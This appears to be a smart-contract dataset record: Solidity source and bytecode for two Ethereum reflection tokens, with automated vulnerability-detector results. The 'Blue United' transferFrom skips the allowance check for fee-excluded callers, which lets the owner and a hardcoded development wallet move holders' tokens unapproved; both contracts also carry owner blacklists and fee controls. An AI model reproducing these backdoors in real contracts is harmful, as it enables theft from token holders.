return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner {
require(maxWalletSize >= _maxWalletSize);
_maxWalletSize = maxWalletSize;
}
function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner {
require(amountBuy >= 0 && amountBuy <= 13);
require(amountSell >= 0 && amountSell <= 13);
_taxFeeOnBuy = amountBuy;
_taxFeeOnSell = amountSell;
}
function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner {
_redisFeeOnBuy = amountRefBuy;
_redisFeeOnSell = amountRefSell;
}
function setBurnFee(uint256 amount) external onlyOwner {
_burnFee = amount;
}
}
|
0x6080604052600436106101f25760003560e01c80636fc3eaec1161010d5780638da5cb5b116100a0578063a9059cbb1161006f578063a9059cbb14610560578063c552849014610580578063dd62ed3e146105a0578063ea1644d5146105e6578063f2fde38b1461060657600080fd5b80638da5cb5b146105175780638f9a55c01461053557806395d89b41146101fe5780639e78fb4f1461054b57600080fd5b8063790ca413116100dc578063790ca413146104b65780637c519ffb146104cc5780637d1db4a5146104e1578063881dce60146104f757600080fd5b80636fc3eaec1461044c57806370a0823114610461578063715018a61461048157806374010ece1461049657600080fd5b80632fd689e31161018557806349bd5a5e1161015457806349bd5a5e146103cc5780634bf2c7c9146103ec5780635d098b381461040c5780636d8aa8f81461042c57600080fd5b80632fd689e31461035a578063313ce5671461037057806333251a0b1461038c57806338eea22d146103ac57600080fd5b806318160ddd116101c157806318160ddd146102dd57806323b872dd1461030257806327c8f8351461032257806328bb665a1461033857600080fd5b806306fdde03146101fe578063095ea7b31461023c5780630f3a325f1461026c5780631694505e146102a557600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50604080518082018252600681526556494147524160d01b602082015290516102339190611f2e565b60405180910390f35b34801561024857600080fd5b5061025c610257366004611dd9565b610626565b6040519015158152602001610233565b34801561027857600080fd5b5061025c610287366004611d25565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102b157600080fd5b506016546102c5906001600160a01b031681565b6040516001600160a01b039091168152602001610233565b3480156102e957600080fd5b50670de0b6b3a76400005b604051908152602001610233565b34801561030e57600080fd5b5061025c61031d366004611d98565b61063d565b34801561032e57600080fd5b506102c561dead81565b34801561034457600080fd5b50610358610353366004611e05565b6106a6565b005b34801561036657600080fd5b506102f4601a5481565b34801561037c57600080fd5b5060405160098152602001610233565b34801561039857600080fd5b506103586103a7366004611d25565b610745565b3480156103b857600080fd5b506103586103c7366004611f0c565b6107b4565b3480156103d857600080fd5b506017546102c5906001600160a01b031681565b3480156103f857600080fd5b50610358610407366004611ef3565b6107e9565b34801561041857600080fd5b50610358610427366004611d25565b610818565b34801561043857600080fd5b50610358610447366004611ed1565b610872565b34801561045857600080fd5b506103586108ba565b34801561046d57600080fd5b506102f461047c366004611d25565b6108e4565b34801561048d57600080fd5b50610358610906565b3480156104a257600080fd5b506103586104b1366004611ef3565b61097a565b3480156104c257600080fd5b506102f4600a5481565b3480156104d857600080fd5b506103586109a9565b3480156104ed57600080fd5b506102f460185481565b34801561050357600080fd5b50610358610512366004611ef3565b610a03565b34801561052357600080fd5b506000546001600160a01b03166102c5565b34801561054157600080fd5b506102f460195481565b34801561055757600080fd5b50610358610a7f565b34801561056c57600080fd5b5061025c61057b366004611dd9565b610c64565b34801561058c57600080fd5b5061035861059b366004611f0c565b610c71565b3480156105ac57600080fd5b506102f46105bb366004611d5f565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156105f257600080fd5b50610358610601366004611ef3565b610cc2565b34801561061257600080fd5b50610358610621366004611d25565b610d00565b6000610633338484610dea565b5060015b92915050565b600061064a848484610f0e565b61069c843361069785604051806060016040528060288152602001612133602891396001600160a01b038a16600090815260056020908152604080832033845290915290205491906115ba565b610dea565b5060019392505050565b6000546001600160a01b031633146106d95760405162461bcd60e51b81526004016106d090611f83565b60405180910390fd5b60005b8151811015610741576001600960008484815181106106fd576106fd6120f1565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610739816120c0565b9150506106dc565b5050565b6000546001600160a01b0316331461076f5760405162461bcd60e51b81526004016106d090611f83565b6001600160a01b03811660009081526009602052604090205460ff16156107b1576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146107de5760405162461bcd60e51b81526004016106d090611f83565b600b91909155600d55565b6000546001600160a01b031633146108135760405162461bcd60e51b81526004016106d090611f83565b601155565b6015546001600160a01b0316336001600160a01b03161461083857600080fd5b601580546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b0316331461089c5760405162461bcd60e51b81526004016106d090611f83565b60178054911515600160b01b0260ff60b01b19909216919091179055565b6015546001600160a01b0316336001600160a01b0316146108da57600080fd5b476107b1816115f4565b6001600160a01b0381166000908152600260205260408120546106379061162e565b6000546001600160a01b031633146109305760405162461bcd60e51b81526004016106d090611f83565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109a45760405162461bcd60e51b81526004016106d090611f83565b601855565b6000546001600160a01b031633146109d35760405162461bcd60e51b81526004016106d090611f83565b601754600160a01b900460ff16156109ea57600080fd5b6017805460ff60a01b1916600160a01b17905542600a55565b6015546001600160a01b0316336001600160a01b031614610a2357600080fd5b610a2c306108e4565b8111158015610a3b5750600081115b610a765760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b60448201526064016106d0565b6107b1816116b2565b6000546001600160a01b03163314610aa95760405162461bcd60e51b81526004016106d090611f83565b601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b158015610b0957600080fd5b505afa158015610b1d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b419190611d42565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610b8957600080fd5b505afa158015610b9d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bc19190611d42565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610c0957600080fd5b505af1158015610c1d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c419190611d42565b601780546001600160a01b0319166001600160a01b039290921691909117905550565b6000610633338484610f0e565b6000546001600160a01b03163314610c9b5760405162461bcd60e51b81526004016106d090611f83565b600d821115610ca957600080fd5b600d811115610cb757600080fd5b600c91909155600e55565b6000546001600160a01b03163314610cec5760405162461bcd60e51b81526004016106d090611f83565b601954811015610cfb57600080fd5b601955565b6000546001600160a01b03163314610d2a5760405162461bcd60e51b81526004016106d090611f83565b6001600160a01b038116610d8f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106d0565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610e4c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106d0565b6001600160a01b038216610ead5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106d0565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f725760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106d0565b6001600160a01b038216610fd45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106d0565b600081116110365760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016106d0565b6001600160a01b03821660009081526009602052604090205460ff161561106f5760405162461bcd60e51b81526004016106d090611fb8565b6001600160a01b03831660009081526009602052604090205460ff16156110a85760405162461bcd60e51b81526004016106d090611fb8565b3360009081526009602052604090205460ff16156110d85760405162461bcd60e51b81526004016106d090611fb8565b6000546001600160a01b0384811691161480159061110457506000546001600160a01b03838116911614155b1561146457601754600160a01b900460ff166111625760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c656421000000000000000060448201526064016106d0565b6017546001600160a01b03838116911614801561118d57506016546001600160a01b03848116911614155b1561123f576001600160a01b03821630148015906111b457506001600160a01b0383163014155b80156111ce57506015546001600160a01b03838116911614155b80156111e857506015546001600160a01b03848116911614155b1561123f5760185481111561123f5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016106d0565b6017546001600160a01b0383811691161480159061126b57506015546001600160a01b03838116911614155b801561128057506001600160a01b0382163014155b801561129757506001600160a01b03821661dead14155b1561135e576018548111156112ee5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016106d0565b601954816112fb846108e4565b6113059190612050565b1061135e5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016106d0565b6000611369306108e4565b601a5490915081118080156113885750601754600160a81b900460ff16155b80156113a257506017546001600160a01b03868116911614155b80156113b75750601754600160b01b900460ff165b80156113dc57506001600160a01b03851660009081526006602052604090205460ff16155b801561140157506001600160a01b03841660009081526006602052604090205460ff16155b15611461576011546000901561143c57611431606461142b6011548661183b90919063ffffffff16565b906118ba565b905061143c816118fc565b61144e61144982856120a9565b6116b2565b47801561145e5761145e476115f4565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff16806114a657506001600160a01b03831660009081526006602052604090205460ff165b806114d857506017546001600160a01b038581169116148015906114d857506017546001600160a01b03848116911614155b156114e5575060006115a8565b6017546001600160a01b03858116911614801561151057506016546001600160a01b03848116911614155b1561156b576001600160a01b03831660009081526004602052604090204290819055600b54600f55600c54601055600a54141561156b576001600160a01b0383166000908152600960205260409020805460ff191660011790555b6017546001600160a01b03848116911614801561159657506016546001600160a01b03858116911614155b156115a857600d54600f55600e546010555b6115b484848484611909565b50505050565b600081848411156115de5760405162461bcd60e51b81526004016106d09190611f2e565b5060006115eb84866120a9565b95945050505050565b6015546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610741573d6000803e3d6000fd5b60006007548211156116955760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016106d0565b600061169f61193d565b90506116ab83826118ba565b9392505050565b6017805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106116fa576116fa6120f1565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561174e57600080fd5b505afa158015611762573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117869190611d42565b81600181518110611799576117996120f1565b6001600160a01b0392831660209182029290920101526016546117bf9130911684610dea565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac947906117f8908590600090869030904290600401611fdf565b600060405180830381600087803b15801561181257600080fd5b505af1158015611826573d6000803e3d6000fd5b50506017805460ff60a81b1916905550505050565b60008261184a57506000610637565b6000611856838561208a565b9050826118638583612068565b146116ab5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016106d0565b60006116ab83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611960565b6107b13061dead83610f0e565b806119165761191661198e565b6119218484846119d3565b806115b4576115b4601254600f55601354601055601454601155565b600080600061194a611aca565b909250905061195982826118ba565b9250505090565b600081836119815760405162461bcd60e51b81526004016106d09190611f2e565b5060006115eb8486612068565b600f5415801561199e5750601054155b80156119aa5750601154155b156119b157565b600f805460125560108054601355601180546014556000928390559082905555565b6000806000806000806119e587611b0a565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611a179087611b67565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611a469086611ba9565b6001600160a01b038916600090815260026020526040902055611a6881611c08565b611a728483611c52565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611ab791815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a7640000611ae582826118ba565b821015611b0157505060075492670de0b6b3a764000092509050565b90939092509050565b6000806000806000806000806000611b278a600f54601054611c76565b9250925092506000611b3761193d565b90506000806000611b4a8e878787611cc5565b919e509c509a509598509396509194505050505091939550919395565b60006116ab83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115ba565b600080611bb68385612050565b9050838110156116ab5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016106d0565b6000611c1261193d565b90506000611c20838361183b565b30600090815260026020526040902054909150611c3d9082611ba9565b30600090815260026020526040902055505050565b600754611c5f9083611b67565b600755600854611c6f9082611ba9565b6008555050565b6000808080611c8a606461142b898961183b565b90506000611c9d606461142b8a8961183b565b90506000611cb582611caf8b86611b67565b90611b67565b9992985090965090945050505050565b6000808080611cd4888661183b565b90506000611ce2888761183b565b90506000611cf0888861183b565b90506000611d0282611caf8686611b67565b939b939a50919850919650505050505050565b8035611d208161211d565b919050565b600060208284031215611d3757600080fd5b81356116ab8161211d565b600060208284031215611d5457600080fd5b81516116ab8161211d565b60008060408385031215611d7257600080fd5b8235611d7d8161211d565b91506020830135611d8d8161211d565b809150509250929050565b600080600060608486031215611dad57600080fd5b8335611db88161211d565b92506020840135611dc88161211d565b929592945050506040919091013590565b60008060408385031215611dec57600080fd5b8235611df78161211d565b946020939093013593505050565b60006020808385031215611e1857600080fd5b823567ffffffffffffffff80821115611e3057600080fd5b818501915085601f830112611e4457600080fd5b813581811115611e5657611e56612107565b8060051b604051601f19603f83011681018181108582111715611e7b57611e7b612107565b604052828152858101935084860182860187018a1015611e9a57600080fd5b600095505b83861015611ec457611eb081611d15565b855260019590950194938601938601611e9f565b5098975050505050505050565b600060208284031215611ee357600080fd5b813580151581146116ab57600080fd5b600060208284031215611f0557600080fd5b5035919050565b60008060408385031215611f1f57600080fd5b50508035926020909101359150565b600060208083528351808285015260005b81811015611f5b57858101830151858201604001528201611f3f565b81811115611f6d576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561202f5784516001600160a01b03168352938301939183019160010161200a565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115612063576120636120db565b500190565b60008261208557634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156120a4576120a46120db565b500290565b6000828210156120bb576120bb6120db565b500390565b60006000198214156120d4576120d46120db565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107b157600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201892074b049a2d883afe38b20e8157b8dfa0d2412d2391f2fcf30331f4602a3964736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,751 |
0x8770723a64843A2C08e06B78FE6182A1CD501316
|
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BlueUnited is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Blue United";//
string private constant _symbol = "BU";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 200000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;//
uint256 private _taxFeeOnBuy = 11;//
//Sell Fee
uint256 private _redisFeeOnSell = 0;//
uint256 private _taxFeeOnSell = 11;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x557F67e4f8E50020D8e06C11E410b1cbBDE1c90a);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 2000000 * 10**9; //
uint256 public _maxWalletSize = 4000000 * 10**9; //
uint256 public _swapTokensAtAmount = 10000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
if (!_isExcludedFromFee[_msgSender()]) _approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount);
}
function setTrading() public onlyOwner {
tradingOpen = true;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
uint256 totalSellFee = redisFeeOnSell + taxFeeOnSell;
uint256 totalBuyFee = redisFeeOnBuy + taxFeeOnBuy;
require(totalSellFee <= 25 || totalBuyFee <= 25, "Fees must be under 25%");
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
require(maxTxAmount >= _tTotal / 1000, "Cannot set maxTxAmount lower than 0.1%");
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
require(maxWalletSize >= _tTotal / 1000, "Cannot set maxWalletSize lower than 0.1%");
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
